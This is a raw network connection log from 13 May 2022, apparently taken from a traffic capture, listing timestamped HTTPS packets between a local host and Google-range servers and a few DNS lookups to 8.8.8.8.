May 13, 2022 14:56:33.669934988 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.669951916 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.670094967 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.670316935 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.672293901 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.672333956 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.672350883 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.672369003 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.672384977 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.672400951 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.672419071 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.672435999 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.672452927 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.672470093 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.672516108 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.672532082 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.673279047 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.673727989 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.673748016 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.673763990 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.673845053 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.673861980 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.673880100 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.673897982 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.673913956 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.673932076 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.673949003 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.673964024 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.673985958 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.674007893 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.675200939 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.675220013 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.675236940 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.675254107 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.675271988 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.675288916 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.675306082 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.675323009 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.675461054 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.676671028 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.676692009 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.676712036 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.676731110 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.676748037 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.676765919 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.676783085 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.676800966 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.676819086 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.676834106 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.676851034 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.676868916 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.676884890 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.676907063 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.676909924 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.677156925 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.678119898 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.678143978 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.678160906 CEST 443 59934 142.250.186.142 192.168.2.5
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May 13, 2022 14:56:33.678178072 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.678195000 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.678214073 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.679502010 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.679522038 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.679538965 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.679555893 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.679572105 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.679588079 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.679605007 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.679620981 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.679636955 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.679652929 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.679670095 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.679687023 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.679722071 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.679738998 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.680052996 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.680190086 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.680780888 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.680803061 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.680820942 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.680838108 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.680855036 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.680871964 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683018923 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683041096 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683069944 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683087111 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683103085 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683119059 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683151960 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683170080 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683188915 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683206081 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683223009 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683238983 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683255911 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683274984 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683459044 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.683841944 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.683876038 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683897018 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683921099 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683938980 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.683993101 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.684010029 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.684026957 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.684043884 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.684061050 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.684079885 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.684283972 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.685301065 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.685319901 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.685337067 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.685355902 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.685372114 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.685389996 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.685404062 CEST 443 59934 142.250.186.142 192.168.2.5
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May 13, 2022 14:56:33.685421944 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.685437918 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.685453892 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.685470104 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.685487986 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.685503960 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.685519934 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.685537100 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.685553074 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686290979 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.686697960 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686718941 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686736107 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686753988 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686770916 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686789989 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686806917 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686825037 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686844110 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686861992 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686880112 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686901093 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686918020 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686934948 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686952114 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.686969995 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.687150955 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.687376022 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.688159943 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688180923 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688198090 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688215017 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688231945 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688251019 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688267946 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688286066 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688303947 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688321114 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688338995 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688355923 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688373089 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688390017 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688407898 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688426018 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688442945 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688460112 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688620090 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688638926 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688657045 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688673973 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688687086 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.688692093 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688711882 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688811064 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.688829899 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.689035892 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.689985037 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690004110 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690021038 CEST 443 59934 142.250.186.142 192.168.2.5
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May 13, 2022 14:56:33.690037966 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690054893 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690073013 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690090895 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690109015 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690126896 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690144062 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690160990 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690181017 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690196991 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690215111 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690232038 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690248966 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690267086 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690284014 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.690475941 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.690730095 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.691800117 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.691823959 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.691845894 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.691867113 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.691890001 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.691912889 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.691932917 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.691955090 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.691976070 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.691996098 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692018986 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692040920 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692063093 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692085028 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692106009 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692126989 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692147970 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692167997 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692188978 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692209959 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692230940 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692254066 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692275047 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692296028 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692317009 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692337036 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692358971 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692379951 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692403078 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692425966 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692549944 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692564011 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.692574024 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692595959 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692617893 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692640066 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692662001 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692683935 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692706108 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692727089 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692749023 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.692770004 CEST 443 59934 142.250.186.142 192.168.2.5
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May 13, 2022 14:56:33.692791939 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.693136930 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.693428993 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.693650961 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.693787098 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.693811893 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.693833113 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.693855047 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.693876982 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.693900108 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.693922043 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.693943024 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.693968058 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.693990946 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694011927 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694034100 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694053888 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694075108 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694097042 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694119930 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694143057 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694166899 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694188118 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694206953 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.694210052 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694232941 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694253922 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694274902 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694295883 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694318056 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694340944 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694361925 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694382906 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.694627047 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.694895983 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.695302963 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695331097 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695353031 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695374966 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695396900 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695419073 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695441008 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695463896 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695487022 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695507050 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695530891 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695554018 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695574999 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695596933 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695619106 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695641041 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695662975 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695683956 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695707083 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695730925 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695751905 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695774078 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.695801020 CEST 443 59934 142.250.186.142 192.168.2.5
May 13, 2022 14:56:33.696042061 CEST 59934 443 192.168.2.5 142.250.186.142
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May 13, 2022 14:56:33.696248055 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.702081919 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:33.734999895 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:37.964992046 CEST 56317 443 192.168.2.5 142.250.184.238
May 13, 2022 14:56:37.991403103 CEST 443 556317 142.250.184.238 192.168.2.5

May 13, 2022 14:56:37.991470098 CEST 443 56317 142.250.184.238 192.168.2.5

May 13, 2022 14:56:38.048624992 CEST 443 56317 142.250.184.238 192.168.2.5

May 13, 2022 14:56:38.050617933 CEST 56317 443 192.168.2.5 142.250.184.238
May 13, 2022 14:56:38.050678968 CEST 56317 443 192.168.2.5 142.250.184.238
May 13, 2022 14:56:42.091152906 CEST 50829 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:42.114468098 CEST 53 50829 8.8.8.8 192.168.2.5

May 13, 2022 14:56:44.693439007 CEST 56523 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:44.716530085 CEST 53 56523 8.8.8.8 192.168.2.5

May 13, 2022 14:56:45.377749920 CEST 54851 443 192.168.2.5 142.250.184.200
May 13, 2022 14:56:45.422034025 CEST 443 54851 142.250.184.200 192.168.2.5

May 13, 2022 14:56:48.597301006 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:48.641072035 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:51.380867958 CEST 52512 443 192.168.2.5 142.250.186.98
May 13, 2022 14:56:51.404859066 CEST 443 52512 142.250.186.98 192.168.2.5

May 13, 2022 14:56:51.404889107 CEST 443 52512 142.250.186.98 192.168.2.5

May 13, 2022 14:56:51.404906034 CEST 443 52512 142.250.186.98 192.168.2.5

May 13, 2022 14:56:51.405762911 CEST 52512 443 192.168.2.5 142.250.186.98
May 13, 2022 14:56:51.430105925 CEST 443 52512 142.250.186.98 192.168.2.5

May 13, 2022 14:56:51.452843904 CEST 52512 443 192.168.2.5 142.250.186.98
May 13, 2022 14:56:51.471118927 CEST 52512 443 192.168.2.5 142.250.186.98
May 13, 2022 14:56:51.472369909 CEST 52512 443 192.168.2.5 142.250.186.98
May 13, 2022 14:56:51.500157118 CEST 443 52512 142.250.186.98 192.168.2.5

May 13, 2022 14:56:51.502372026 CEST 443 52512 142.250.186.98 192.168.2.5

May 13, 2022 14:56:51.508090973 CEST 52512 443 192.168.2.5 142.250.186.98
May 13, 2022 14:56:51.508514881 CEST 52512 443 192.168.2.5 142.250.186.98
May 13, 2022 14:56:51.512949944 CEST 443 52512 142.250.186.98 192.168.2.5

May 13, 2022 14:56:51.584959030 CEST 52512 443 192.168.2.5 142.250.186.98
May 13, 2022 14:56:51.585645914 CEST 443 52512 142.250.186.98 192.168.2.5

May 13, 2022 14:56:51.586189032 CEST 52512 443 192.168.2.5 142.250.186.98
May 13, 2022 14:56:52.240391016 CEST 54375 53 192.168.2.5 8.8.8.8

May 13, 2022 14:56:52.266422987 CEST 53 54375 8.8.8.8 192.168.2.5

May 13, 2022 14:56:52.983542919 CEST 55317 443 192.168.2.5 142.250.184.238
May 13, 2022 14:56:53.012996912 CEST 59934 443 192.168.2.5 142.250.186.142
May 13, 2022 14:56:53.014116049 CEST 54254 443 192.168.2.5 142.250.185.100
May 13, 2022 14:56:53.027111053 CEST 443 55317 142.250.184.238 192.168.2.5

May 13, 2022 14:56:53.032857895 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.032890081 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.032916069 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.032939911 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.032968998 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.032994032 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033018112 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033044100 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033066988 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033093929 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033114910 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033135891 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033164024 CEST 443 59934 142.250.186.142 192.168.2.5

May 13, 2022 14:56:53.033186913 CEST 443 59934 142.250.186.142 192.168.2.5

